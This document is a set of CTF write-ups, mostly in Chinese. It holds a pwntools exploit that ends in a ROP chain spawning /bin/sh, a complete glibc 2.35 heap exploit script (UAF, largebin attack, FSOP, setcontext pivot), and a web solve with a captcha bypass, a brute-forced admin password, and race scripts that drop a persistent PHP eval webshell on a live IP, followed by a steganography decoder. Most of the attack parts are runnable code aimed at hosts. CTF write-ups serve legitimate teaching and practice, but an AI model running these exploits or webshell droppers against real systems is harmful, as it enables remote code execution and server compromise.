def ri(op: int, reg: int, imm: int) -> bytes:
"""Mode 3: register plus native-endian uint32 immediate."""
return bytes([(op << 2) | 3, reg]) + struct.pack("<I", imm & 0xFFFFFFFF)
def ii(op: int, imm: int) -> bytes:
"""Mode 0: big-endian uint24 immediate."""
return bytes([op << 2]) + (imm & 0xFFFFFF).to_bytes(3, "big")
def mov_rr(dst: int, src: int) -> bytes:
return rr(3, dst, src)
def mov_ri(dst: int, value: int) -> bytes:
return ri(3, dst, value)
def add_ri(dst: int, value: int) -> bytes:
return ri(10, dst, value)
def sub_ri(dst: int, value: int) -> bytes:
return ri(11, dst, value)
def host_call(number: int) -> bytes:
return ii(0x33, number)
def read_qword_into_r3() -> bytes:
# r4 permanently holds &vm->r0, so &vm->r3 is r4 + 0x18.
return b"".join(
[
mov_rr(1, 4),
add_ri(1, 0x18),
mov_ri(0, 0),
mov_ri(2, 8),
host_call(0),
]
)
def write_from_r3(length: int) -> bytes:
return b"".join(
[
mov_rr(1, 3),
mov_ri(0, 1),
mov_ri(2, length),
host_call(1),
]
)
def build_vm_program() -> bytes:
program = []
# r6 is a real heap pointer. A non-existent host call replaces only the
# low 32 bits of r0 with &vm->r0; native PIE and brk share the high 32 bits.
program += [mov_rr(0, 6), host_call(99), mov_rr(4, 0)]
# Leak the VM header so the script can recover this connection's PIE base.
program += [
mov_rr(1, 4),
sub_ri(1, 0x10),
mov_ri(0, 1),
mov_ri(2, 0x60),
host_call(1),
]
# Leak the already-resolved puts GOT slot.
program += [
mov_rr(1, 4),
sub_ri(1, VM_R0 - PUTS_GOT),
mov_ri(0, 1),
mov_ri(2, 8),
host_call(1),
]
# Stage 1: receive &environ in r3, then leak environ's stack pointer.
program += [read_qword_into_r3(), write_from_r3(8)]
# Stage 2: receive a stack-window start and leak the live VM call stack.
program += [read_qword_into_r3(), write_from_r3(STACK_WINDOW)]
# Stage 3: receive the live wrapper return-slot address. The following
# read overwrites that slot with a libc ROP chain and returns into it.
program += [
read_qword_into_r3(),
mov_rr(1, 3),
mov_ri(0, 0),
mov_ri(2, CHAIN_SIZE),
host_call(0),
]
result = b"".join(program)
assert len(result) < 0x800
return result
def find_wrapper_return_slot(stack: bytes, stack_start: int, pie: int) -> int:
wrapper_ret = p64(pie + 0x195B)
interpreter_ret = p64(pie + 0x2BC3)
main_ret = p64(pie + 0x2D8F)
candidates = []
for offset in range(0, len(stack) - 0x68, 8):
if stack[offset : offset + 8] != wrapper_ret:
continue
if stack[offset + 0x30 : offset + 0x38] != interpreter_ret:
continue
if stack[offset + 0x60 : offset + 0x68] != main_ret:
continue
candidates.append(stack_start + offset)
if len(candidates) != 1:
raise RuntimeError(f"expected one live wrapper frame, found {candidates!r}")
return candidates[0]
def main() -> None:
context.arch = "amd64"
context.log_level = "info"
here = Path(__file__).resolve().parent
libc = ELF(str(here / "libc.so.6"), checksec=False)
rop = ROP(libc)
ret_offset = rop.find_gadget(["ret"]).address
pop_rdi_offset = rop.find_gadget(["pop rdi", "ret"]).address
bin_sh_offset = next(libc.search(b"/bin/sh\x00"))
io = remote(HOST, PORT)
io.recvuntil(BANNER)
io.send(build_vm_program())
vm = io.recvn(0x60)
code_pointer = u64(vm[:8])
pie = code_pointer - CODE_BUFFER
puts_address = u64(io.recvn(8))
libc.address = puts_address - libc.sym.puts
print(f"[+] PIE base = {pie:#x}")
print(f"[+] libc base = {libc.address:#x}")
io.send(p64(libc.sym.environ))
environ_stack = u64(io.recvn(8))
stack_start = environ_stack - STACK_WINDOW
print(f"[+] environ = {environ_stack:#x}")
io.send(p64(stack_start))
stack = io.recvn(STACK_WINDOW)
return_slot = find_wrapper_return_slot(stack, stack_start, pie)
print(f"[+] return slot = {return_slot:#x}")
io.send(p64(return_slot))
chain = b"".join(
[
p64(libc.address + ret_offset),
p64(libc.address + pop_rdi_offset),
p64(libc.address + bin_sh_offset),
p64(libc.sym.system),
p64(libc.sym.exit),
]
)
assert len(chain) == CHAIN_SIZE
# The VM read consumes exactly CHAIN_SIZE bytes. The shell receives the
# command bytes that follow in the same packet.
command = b"cat /flag*; cat ./flag*; exit\n"
io.send(chain + command)
print(io.recvall(timeout=5).decode(errors="replace"))
if __name__ == "__main__":
main()PWN-03
Regular_apples
Flag: DASCTF{CongRaTulat1ons_ON_Get1ng_The_R1ght_App1e}\n解法: UAF + Largebin attack(House-of-Apple 风格)+ FSOP + setcontext 栈迁移 + ROP
题面
64 位 PIE 笔记程序:
1.Add note
2.Delete note
3.Edit note
4.Show note
>附件含 libc.so.6(glibc 2.35-0ubuntu3.8)与 loader。
漏洞与信号识别
反汇编与黑盒测试得到三个关键事实:
| 信号 | 结论 |
|---|---|
delete 只 free(ptr[i]),不清指针/大小 |
UAF:释放后仍可 edit/show |
申请尺寸限制 [0x500, 0x520](chunk 0x510..0x530) |
全为大 chunk:无 tcache,走 unsorted/large bin |
show 仅输出 8 字节、edit 写满 size 字节 |
泄露受限(8 字节足够);edit 全量写 |
攻击路线推理:
- UAF + 大 chunk → unsorted bin 泄露(fd/bk 指向 libc)与 largebin attack(任意地址写)。
- 尺寸
0x510/0x520恰为 largebin 76 的两个档位 → “smaller-than-smallest 分支写bk_nextsize“手法可用。 - 需要控制流劫持且有 UAF 大 chunk → FSOP(劫持
_IO_list_all);glibc 2.35 采用_IO_wfile_jumps的 wfile-overflow 路径(House-of-Apple 系列)。 - FSOP 需控制执行流 → setcontext+0x126 ret-pivot 跳到堆上 ROP。
- 远程可能开启 seccomp → 预留
open/read/write直读 flag 的兜底(实测确实开启)。
题眼:UAF + 大 chunk 组合是本题唯一可利用入口;后续步骤均围绕“将
_IO_list_all改写为堆指针”展开。
堆布局与利用链
堆布局
低地址 高地址
+-------------+ chunk A (0x520) ← idx0
+-------------+ chunk G (0x510) ← idx1 (guard)
+-------------+ chunk B (0x510) ← idx2
+-------------+ chunk H1 (0x510) ← idx3 (ROP 栈 + 路径串)
+-------------+ chunk C (0x510) ← idx4
+-------------+ chunk H2 (0x510) ← idx5 (guard)Largebin attack(写 _IO_list_all)
目标:*(A->bk_nextsize + 0x20) = B_chunk,即 _IO_list_all = B_chunk
1. free A;malloc(0x520) → A 进入 largebin 76 并留驻(0x520 < 0x530,lookup 跳过)
2. UAF-edit A:A->bk_nextsize = _IO_list_all - 0x20
3. free B;malloc(0x520):
B (0x510) 以 "smaller-than-smallest" 分支插入 largebin 76(无检查)
→ 执行 *(A->bk_nextsize + 0x20) = B_chunk
→ 即 _IO_list_all = B_chunk
同一次 malloc 因 lookup 跳过而正常返回(不崩溃)FSOP 链(exit 触发)
add(非法 size) → exit()
→ _IO_flush_all_lockp 遍历 _IO_list_all (= B_chunk)
→ 假 _IO_FILE at B:
vtable = _IO_wfile_jumps
_wide_data = W (B+0x100)
W->_IO_write_base = 0, W->_IO_write_ptr = 1 ← 触发 wfile overflow
W->_wide_vtable = V (B+0x200)
V[0x68] (__doallocate) = setcontext+0x126 ← ret-pivot
→ _IO_wfile_overflow → _IO_wdoallocbuf
→ call wide_vtable->__doallocate(fp)
→ setcontext 从 W 载入 rdi/rsi/rdx/rcx
→ push [W+0xa8]; ret → 跳到 "mov rsp,rdx; ret" (0x5a120)
→ rsp = 堆上 ROP 栈(W+0x88 指向)
→ ROP: open/read/write 读 /flag远程环境差异(踩坑核心)
用已工作的 fwrite 原语 dump 远程 libc 内存逐项核对:
| 符号 | 附件 libc | 远程 libc | 结论 |
|---|---|---|---|
unsorted (main_arena+96) |
0x21ace0 | 0x21ace0 | ✅ 一致 |
_IO_list_all |
0x21b680 | 0x21b680 | ✅ 一致 |
_IO_wfile_jumps |
0x2170c0 | 0x2170c0 | ✅ 一致 |
setcontext |
0x539e0 | 0x539e0 | ✅ 一致 |
puts / fwrite |
0x80e50 / 0x7ff20 | 同 | ✅ 一致 |
**open** |
0x1144e0 | 0x114560 | ⚠️ +0x80 |
**read** |
0x1147d0 | 0x114850 | ⚠️ +0x80 |
**write** |
0x114870 | 0x1148f0 | ⚠️ +0x80 |
pop rdx; pop r12; ret |
0x11f2e7 | 0x11f367 | ⚠️ +0x80 |
两个额外环境事实:
- 远程 seccomp 屏蔽
**execve**/**system**(fork/exec 全禁)→ 无 shell,只能open/read/write直读 flag。 - socket 时序:接近满长(≥~0x500B)的 edit payload 与 socket
read()竞争,残余字节破坏下一个菜单输入 → 只发每次 edit 实际所需字节(程序read恰好返回所发长度)。
脚本
#!/usr/bin/env python3
"""
Regular_apples — pwn (heap) challenge
=====================================
Remote: nc
Vulnerability: use-after-free in the note program (free does not clear the
pointer/size), only sizes in [0x500,0x520] (large chunks, no tcache).
Exploit chain:
1. Leak libc + heap via freed unsorted-bin chunks (show = 8 bytes).
2. Largebin attack (House-of-Apple-style): corrupt A->bk_nextsize so that
inserting a smaller chunk B writes B's chunk pointer into `_IO_list_all`.
(Request size nb=0x530 keeps the largebin lookup from touching the
corrupted bin, so the attack malloc returns cleanly.)
3. FSOP on exit: `_IO_list_all` -> fake _IO_FILE at B. The wfile-overflow
path (vtable = _IO_wfile_jumps, _wide_data->_IO_write_base==0) reaches
_IO_wdoallocbuf -> wide-vtable->__doallocate.
4. __doallocate = setcontext+0x126 (ret-pivot): sets rdi/rsi/rdx/rcx from
the wide-data area W, then `push [W+0xa8]; ret`.
5. Jump to `mov rsp,rdx; ret` (0x5a120) with rdx = heap ROP stack =>
full ROP chain: open("/flag",0); read(fd,buf,0x100); write(1,buf,0x100).
IMPORTANT remote-libc notes (the remote libc differs from the attached one):
* unsorted/_IO_list_all/_IO_wfile_jumps/setcontext/puts/fwrite match the
attached libc (glibc 2.35-0ubuntu3.8).
* The syscall-wrapper region (open/read/write) is shifted by +0x80:
open = 0x114560 (attached: 0x1144e0)
read = 0x114850 (attached: 0x1147d0)
write = 0x1148f0 (attached: 0x114870)
pop rdx;pop r12;ret = 0x11f367 (attached: 0x11f2e7)
* execve/system are blocked by seccomp on the remote (no shell), so the
flag is read via open/read/write.
* Long edit payloads (>=~0x500 bytes) can race with read() on the socket
and leave stray bytes -> desync. Fix: send only the bytes each edit
actually needs (read returns exactly what we sent).
Flag: DASCTF{CongRaTulat1ons_ON_Get1ng_The_R1ght_App1e}
"""
from pwn import *
import time
context.arch = 'amd64'
context.log_level = 'info'
HOST = '127.0.0.1'
PORT = 8080
# ---- remote libc offsets (verified by dumping the remote libc) ----
OPEN = 0x114560
READ = 0x114850
WRITE = 0x1148f0
MOV_RSP_RDX = 0x5a120 # mov rsp, rdx; ret
POP_RDI = 0x2a3e5
POP_RSI = 0x2be51
POP_RDX_R12 = 0x11f367 # pop rdx; pop r12; ret
IO_LIST_ALL = 0x21b680
IO_WFILE_JUMPS = 0x2170c0
UNSORTED_OFF = 0x21ace0
BIN76_HEAD = 0x21b430
SC_RETPIVOT = 0x539e0 + 0x126
def start():
return remote(HOST, PORT, timeout=15)
def add(p, idx, size, content=b'A'*8):
p.sendlineafter(b'> ', b'1'); p.sendlineafter(b'Index: \n', str(idx).encode())
p.sendlineafter(b'Size: \n', str(size).encode()); p.sendafter(b'Content: \n', content)
def delete(p, idx):
p.sendlineafter(b'> ', b'2'); p.sendlineafter(b'Index: \n', str(idx).encode())
def edit(p, idx, content):
p.sendlineafter(b'> ', b'3'); p.sendlineafter(b'Index: \n', str(idx).encode())
p.sendafter(b'Content: \n', content)
def show(p, idx):
p.sendlineafter(b'> ', b'4'); p.sendlineafter(b'Index: \n', str(idx).encode())
return p.recvn(8)
def build_rop(libc, path_addrs, BUF):
chain = []
def q(*vals):
for v in vals: chain.append(v)
fd = 3
for path in path_addrs:
q(libc+POP_RDI, path)
q(libc+POP_RSI, 0)
q(libc+OPEN)
q(libc+POP_RDI, fd)
q(libc+POP_RSI, BUF)
q(libc+POP_RDX_R12, 0x100, 0)
q(libc+READ)
q(libc+POP_RDI, 1)
q(libc+POP_RSI, BUF)
q(libc+POP_RDX_R12, 0x100, 0)
q(libc+WRITE)
fd += 1
return b''.join(p64(x) for x in chain)
def exploit(paths, verbose=True):
p = start()
def LOG(m):
if verbose: log.info(m)
# heap layout: A(0x520), G(0x510), B(0x510), H1(0x510), C(0x510), H2(0x510)
add(p,0,0x510); add(p,1,0x500); add(p,2,0x500); add(p,3,0x500); add(p,4,0x500); add(p,5,0x500)
# leaks (free B and C into unsorted)
delete(p,2); delete(p,4)
libc_leak = u64(show(p,2)) # B->fd = unsorted head
heap_leak = u64(show(p,4)) # C->fd = B_chunk
libc = libc_leak - UNSORTED_OFF
B_chunk = heap_leak
A_chunk = B_chunk - 0x520 - 0x510
B_user = B_chunk + 0x10
H1_user = B_chunk + 0x520
LOG(f'libc={hex(libc)} B_chunk={hex(B_chunk)}')
# reclaim C and B
add(p,6,0x500); add(p,7,0x500)
# free A; malloc(0x520) puts A (0x520) into largebin 76 (lookup skipped)
delete(p,0); add(p,8,0x520)
# corrupt A->bk_nextsize = _IO_list_all - 0x20
payload = p64(libc+BIN76_HEAD)+p64(libc+BIN76_HEAD)+p64(A_chunk)+p64(libc+IO_LIST_ALL-0x20)
edit(p,0,payload) # short payload -> no socket desync
# free B; malloc(0x520) -> B binned (smaller-than-smallest) -> *_IO_list_all = B_chunk
delete(p,2); add(p,9,0x520)
LOG('[+] attack done')
# ---- ROP chain + path strings in H1 (note3) ----
ROP_STACK = H1_user + 0x100
BUF = H1_user + 0x20
path_addrs = []
h_payload = bytearray(0x500)
for i, path in enumerate(paths):
off = 0x20 + i*0x40
h_payload[off:off+len(path)] = path + b'\x00'
path_addrs.append(H1_user + off)
rop = build_rop(libc, path_addrs, BUF)
h_payload[0x100:0x100+len(rop)] = rop
edit(p,3, bytes(h_payload[:0x100+len(rop)]))
LOG('[+] ROP written')
# ---- fake FILE at B (note2) ----
W = B_user + 0x100
V = B_user + 0x200
LOCK = B_user + 0x300
fake = bytearray(0x500)
fake[0x58:0x60] = p64(0) # _chain
fake[0x78:0x80] = p64(LOCK) # _lock
fake[0x90:0x98] = p64(W) # _wide_data
fake[0xb0:0xb4] = p32(1) # _mode
fake[0xc8:0xd0] = p64(libc + IO_WFILE_JUMPS)
fake[0x118:0x120] = p64(0) # W+0x18 write_base
fake[0x120:0x128] = p64(1) # W+0x20 write_ptr
fake[0x130:0x138] = p64(0) # W+0x30 buf_base
fake[0x188:0x190] = p64(ROP_STACK) # W+0x88 -> rdx -> new rsp
fake[0x1a8:0x1b0] = p64(libc + MOV_RSP_RDX) # W+0xa8 -> mov rsp,rdx; ret
fake[0x1e0:0x1e8] = p64(V) # W+0xe0 _wide_vtable
fake[0x268:0x270] = p64(libc + SC_RETPIVOT) # __doallocate = setcontext+0x126
edit(p,2, bytes(fake[:0x408]))
LOG('[+] fake FILE written')
# ---- trigger exit via add with invalid size ----
p.sendlineafter(b'> ', b'1'); p.sendlineafter(b'Index: \n', b'11'); p.sendlineafter(b'Size: \n', b'256')
LOG('[+] triggered')
return p
if __name__ == '__main__':
paths = [b'/flag', b'/flag.txt', b'/home/ctf/flag', b'/root/flag', b'/home/user/flag', b'/tmp/flag']
p = exploit(paths)
time.sleep(0.5)
try:
out = p.recv(timeout=8)
print(out.decode(errors='replace'))
except Exception as e:
print('recv err', e)
p.close()运行:
pip install pwntools
python3 solve.py # 对远程一键利用关键过程复盘
- 本地 ROP 验证通过(附件 libc)→ 打远程失败。
- 用已可用的
fwrite原语 dump 远程 libc → 发现 syscall 包装区 +0x80 偏移 → 校准偏移。 - 再次失败 → 探测发现 seccomp 禁
**execve/system**→ 改用open/read/write直读。 - 接近成功但偶发输入错乱 → 定位 socket 时序问题(满长 payload 与
read()竞争)→ 每次 edit 只发所需字节。 - 最终稳定打出 flag。
测试题
Rank-U
Rank-U — Writeup
Flag
DASCTF{15693295613396636896641474380078}
Target
- http://1.14.76.59:15594/ — Apache/2.4.38 (Debian), PHP/7.3.28
- “P-D User Login” 登录页(username/password/yzm 验证码),登录后进入 /admin 上传页。
Approach / Chain
验证码绕过 → 弱口令 → 文件上传白名单 + 删除竞态 → 上传的 PHP 在删除窗口内被执行并写出持久 webshell → RCE 读 /flag。
Steps (reproducible)
- 验证码绕过 (NULL==NULL)
新会话不请求 captcha.php、POST 登录不带 yzm 字段时,$_POST['yzm'] 与 $_SESSION['code'] 均为 NULL, NULL != NULL 为假 → 验证码校验通过。请求过 captcha 或发送空 yzm 的会话仍被拦截。
curl -s -X POST -d "username=admin&password=year2000" http://1.14.76.59:15594/
# 无 yzm 字段 → 通过验证码 → 凭据正确则 302 → /admin/index.php- 弱口令登录
对 admin 爆破,命中 year2000(配合上面的验证码绕过,爆破无需 OCR)。
curl -s -c cookies.txt -X POST -d "username=admin&password=year2000" http://1.14.76.59:15594/
# 302 Location: ./admin/index.php,携带 PHPSESSID 可访问 /admin/index.php(上传表单 file_upload)- 上传逻辑逆向
- 上传任意文件都返回 success 并给出保存路径:
./Uploads/<dir>/<md5>. <原始扩展名>。 <dir>按客户端恒定(本环境791073bc7f9ec401a1a3ca35d3489b68)。<md5>为按秒派生、全局一致的哈希(同秒跨会话/跨文件同名;秒变则变)。尝试破解格式(date 格式×时区×salt、RFC 日期、hex/oct 时间、IP/UA/session/内容参与)均未果 —— 不依赖预测也可利用。- 扩展名白名单 =
{png, jpg, gif}(jpg/gif/png 即使内容是垃圾也会保留;其他扩展在上传请求内即被 unlink,响应后 GET 必 404)。 - 文件名穿越(
../、%2f)、怪异扩展(php#/php%2F/php)、filenamePOST 字段均被忽略/被删。
- 删除竞态 → webshell
.php 文件在 move_uploaded_file 与 unlink 之间(上传请求进行中,毫秒级)短暂存在。 利用“预测+并发锤击”:
- 对齐到秒边界,先上传一张 .png(保留)→ 从响应拿到当前秒的哈希 H;
- 立即(同秒)上传 .php payload → 保存为同哈希
H.php; - 期间用 ~12-24 线程并发 GET
H.php,命中窗口(观测到 404→500/200 切换,说明文件存在并被 Apache/PHP 处理)。 Payload(被窗口内任意一次 GET 执行):
<?php
$c = "<?php @eval(\$_REQUEST[123]);?>";
file_put_contents(__DIR__."/evil.php", $c);
echo "RACEWIN";
?>执行后写出持久 webshell:/admin/Uploads/791073bc7f9ec401a1a3ca35d3489b68/evil.php(Uploads 目录公开可读,无需登录)。
- RCE 读 flag
curl -s --get --data-urlencode "123=echo file_get_contents('/flag');" \
http://1.14.76.59:15594/admin/Uploads/791073bc7f9ec401a1a3ca35d3489b68/evil.php
→ DASCTF{15693295613396636896641474380078}注意:disable_functions 禁了 system/phpinfo 等(system('ls') 无输出);open_basedir 限制在 webroot (scandir('/') 空),但 /flag 可读。
Files
login_test.py— 验证码 OCR + 登录测试(验证码绕过前用)battery.sh— SQLi/类型混淆/魔法哈希 探测(全部无效,确认 PDO/预编译)race.py— 盲竞态(上传→解析→GET),可作后备predict_race.py— 预测+并发锤击竞态(实际成功写出 evil.php 的方法)flag_race.py— 竞态执行直接回显 /flag 的 payload(成功率高时直接得 flag)index.html/admin_panel.html— 页面快照
Failed attempts(已排除)
- SQL 注入:单/双引号、注释、UNION、SLEEP 时间盲注 → 全无差异(PDO 预编译)。
- PHP 类型混淆:
password[]、username[]、0、魔法哈希 → 无效。 - 源码泄露:robots.txt、
.bak/.swp/.phps/.old、.git/.svn、admin 备份、其他 upload 目录 → 404。 - 文件名绕过删除:
../、%2f、#、%00、php#/php%2F/尾随空格/分号/双扩展 → 均被删。 - 图片 polyglot(合法 PNG+PHP 代码存为 .png/.jpg/.gif)→ Apache 不执行,仅原文输出。
- Cookie/GET 参数管理员绕过(user/admin/role/isadmin…)→ 无效。
- 端口扫描被叫停(只允许题目端口)。
EXP
#!/usr/bin/env python3
"""Predict-and-hammer race:
1. At a second boundary, upload a .png -> learn hash H for the current second.
2. Start hammer threads GETting H.php (concurrent with the php upload).
3. Upload the .php payload (same second -> same hash H).
4. If any GET returns 200 with the marker, we won; evil.php was written by the payload.
"""
import requests, re, threading, time, sys
BASE = "http://1.14.76.59:15594"
marker = b"RACEWIN"
payload = ('<?php\n'
'$c = "<?php @eval(\$_REQUEST[123]);?>";\n'
'file_put_contents(__DIR__."/evil.php", $c);\n'
'echo "RACEWIN";\n'
'?>\n').encode()
def do_login(sess):
for i in range(30):
try:
r = sess.post(BASE + "/", data={"username": "admin", "password": "year2000"}, timeout=15)
if r.status_code == 200:
return True
except Exception:
pass
time.sleep(1.0)
return False
s = requests.Session()
if not do_login(s):
print("login failed", flush=True); raise SystemExit(1)
print("logged in", flush=True)
stop = threading.Event()
found = threading.Event()
hammer_url = [None]
lock = threading.Lock()
hits = 0
def hammer(wid):
global hits
local = requests.Session()
do_login(local)
while not stop.is_set():
u = hammer_url[0]
if not u:
time.sleep(0.001)
continue
try:
gr = local.get(u, timeout=4)
if gr.status_code != 404:
print(f"[dbg] thread={wid} status={gr.status_code} len={len(gr.content)} head={gr.content[:60]!r}", flush=True)
if gr.status_code == 200 and marker in gr.content:
print(f"[+] HAMMER WIN thread={wid} url={u}", flush=True)
print(" body:", gr.text[:300], flush=True)
found.set(); stop.set(); return
except Exception:
pass
NHAMMER = int(sys.argv[1]) if len(sys.argv) > 1 else 12
NITER = int(sys.argv[2]) if len(sys.argv) > 2 else 200
hthreads = [threading.Thread(target=hammer, args=(i,), daemon=True) for i in range(NHAMMER)]
for t in hthreads: t.start()
def upload_png():
try:
r = s.post(BASE + "/admin/index.php", files={"file_upload": ("p.png", b"\x89PNG\r\n\x1a\nprobe", "image/png")}, timeout=15)
except Exception:
return None, None
m = re.search(r'\./Uploads/([0-9a-f]{32})/([0-9a-f]{32})\.png', r.text)
return m.group(1), m.group(2) if m else (None, None)
def upload_php():
try:
r = s.post(BASE + "/admin/index.php", files={"file_upload": ("r.php", payload, "application/octet-stream")}, timeout=15)
except Exception:
return None, None
m = re.search(r'\./Uploads/([0-9a-f]{32})/([0-9a-f]{32})\.(\w+)', r.text)
return (m.group(2), m.group(3)) if m else (None, None)
t0 = time.time()
for i in range(NITER):
if found.is_set():
break
# align near a second boundary
frac = time.time() % 1.0
if frac > 0.3:
time.sleep(1.0 - frac + 0.02)
d, H = upload_png()
if not H:
continue
with lock:
hammer_url[0] = f"{BASE}/admin/Uploads/{d}/{H}.php"
# upload php immediately (same second)
H2, ext = upload_php()
# keep hammering for a bit after, in case deletion is delayed
time.sleep(0.5)
if H2 and ext != "php":
print(f"[{i}] png H={H} php H2={H2} ext={ext} (mismatch seconds?)", flush=True)
with lock:
hammer_url[0] = None
if i % 20 == 0:
print(f"[{time.time()-t0:.0f}s iter={i}] lastH={H}", flush=True)
stop.set()
print("DONE found=", found.is_set(), flush=True)
if found.is_set() and hammer_url[0]:
d = hammer_url[0].split("/Uploads/")[1].split("/")[0]
evil = f"{BASE}/admin/Uploads/{d}/evil.php"
rr = s.get(evil, timeout=8)
print("evil.php:", rr.status_code, rr.text[:200], flush=True)#!/usr/bin/env python3
"""Race to execute a php that echoes /flag directly. Uses predict-and-hammer."""
import requests, re, threading, time, sys
BASE = "http://1.14.76.59:15594"
payload = b'<?php echo file_get_contents("/flag"); ?>'
def do_login(sess):
for i in range(30):
try:
r = sess.post(BASE + "/", data={"username":"admin","password":"year2000"}, timeout=15)
if r.status_code == 200: return True
except Exception: pass
time.sleep(1.0)
return False
s = requests.Session()
do_login(s)
stop = threading.Event(); found = threading.Event()
hammer_url = [None]
def hammer(wid):
local = requests.Session(); do_login(local)
while not stop.is_set():
u = hammer_url[0]
if not u: time.sleep(0.001); continue
try:
gr = local.get(u, timeout=4)
if gr.status_code == 200 and b"DASCTF{" in gr.content:
print("FLAG:", gr.text.strip(), flush=True)
open("flag.txt","w").write(gr.text.strip())
found.set(); stop.set(); return
if gr.status_code != 404:
print(f"[dbg] {gr.status_code} {gr.content[:50]!r}", flush=True)
except Exception: pass
NH = int(sys.argv[1]) if len(sys.argv)>1 else 14
for i in range(NH):
threading.Thread(target=hammer, args=(i,), daemon=True).start()
def up_png():
try:
r = s.post(BASE+"/admin/index.php", files={"file_upload":("p.png", b"\x89PNG\r\n\x1a\nprobe", "image/png")}, timeout=15)
m = re.search(r'\./Uploads/([0-9a-f]{32})/([0-9a-f]{32})\.png', r.text)
return m.group(1), m.group(2) if m else (None,None)
except Exception: return None,None
def up_php():
try:
r = s.post(BASE+"/admin/index.php", files={"file_upload":("r.php", payload, "application/octet-stream")}, timeout=15)
m = re.search(r'\./Uploads/([0-9a-f]{32})/([0-9a-f]{32})\.(\w+)', r.text)
return m.group(2) if m else None
except Exception: return None
t0=time.time()
for i in range(400):
if found.is_set(): break
frac = time.time() % 1.0
if frac > 0.3: time.sleep(1.0 - frac + 0.02)
d, H = up_png()
if not H: continue
hammer_url[0] = f"{BASE}/admin/Uploads/{d}/{H}.php"
up_php()
time.sleep(0.4)
hammer_url[0] = None
if i % 25 == 0: print(f"[{time.time()-t0:.0f}s iter={i}]", flush=True)
stop.set()
print("DONE found=", found.is_set(), flush=True)成功男人背后的女人
Flag:DASCTF{w0mEN_beh1nD_MEn}
题目描述:每个成功的男人背后都站着一个伟大的女人。
解题过程
- 解压附件得到一张 PNG 图片。
binwalk/手工解析 chunk 发现它不是普通 PNG,而是 Adobe Fireworks 可编辑源文件:除正常的 IDAT 图像外,还带有私有 chunk(prVW/mkBF/mkTS/mkBS+ 75 个mkBT图块),里面保存着未拼合的图层数据。 - 解析
mkTSchunk(zlib 解压后是文档树文本),发现两个全画布(562x800)IMGv 位图块,各自由一串TIDi{...}tile id 引用mkBT图块(每个 128x128 RGBA,zlib 压缩)。按 id 重组两个图层:layer_0:可见层(“成功男人”画面)layer_1:隐藏图层,是一张女人照片——点题“成功男人背后的女人”
- 观察隐藏图层底部色带(y≈600-775),有一个 6 行 x 32 列的双色符号网格,只有绿、红两种符号,典型的二进制编码。按绿色=0、红色=1、行主序、每字节 MSB 在前读取,得到 6x32=192 bit = 24 字节 ASCII。
- 解码即得 flag。
关键脚本:
import struct, zlib, re
import numpy as np
from PIL import Image
data = open('成功男人背后的女人.png', 'rb').read()
off, tiles = 8, {}
while off < len(data):
ln = struct.unpack('>I', data[off:off+4])[0]
typ = data[off+4:off+8]
body = data[off+8:off+8+ln]
if typ == b'mkBT':
tid = struct.unpack('>I', body[4:8])[0] # tile id(76 字节头)
tiles[tid] = zlib.decompress(body[76:]) # 128x128 RGBA 图块
elif typ == b'mkTS':
mkts = zlib.decompress(body).decode('latin1')
off += 12 + ln
# mkTS 中两个 IMGv 块:宽 0x232=562,高 0x320=800,tile 0x80=128
blocks = re.findall(
r'IMGv\{LCKb\{0\}XOFf\{0\}YOFf\{0\}XLCf\{0\}YLCf\{0\}'
r'WPXi\{232\}HPXi\{320\}TSZi\{80\}TILv\{(.*?)\}DTA', mkts, re.S)
W, H, TS = 562, 800, 128
layers = []
for blk in blocks:
tids = [int(x, 16) for x in re.findall(r'TIDi\{([0-9a-f]+)\}', blk)]
im = Image.new('RGBA', (W, H))
for i, tid in enumerate(tids):
im.paste(Image.frombytes('RGBA', (TS, TS), tiles[tid]),
((i % 5) * TS, (i // 5) * TS))
layers.append(im)
hidden = layers[1] # 隐藏的女人图层
# 解码 6x32 符号网格:绿=0,红=1
rgba = np.array(hidden)
R, G = rgba[..., 0].astype(int), rgba[..., 1].astype(int)
green = (G > 200) & (R < 20)
bits = []
for r in range(6): # 行中心 y = 612.5 + 30r
for k in range(32): # 列中心 x = 15.5 + 17k
yc, xc = 612.5 + 30 * r, 15.5 + 17 * k
cell = green[int(yc-13):int(yc+13), int(xc-8):int(xc+8)]
bits.append(0 if cell.sum() > 15 else 1)
flag = bytes(sum(b << (7 - j) for j, b in enumerate(bits[i:i+8]))
for i in range(0, len(bits), 8))
print(flag.decode()) # DASCTF{w0mEN_beh1nD_MEn}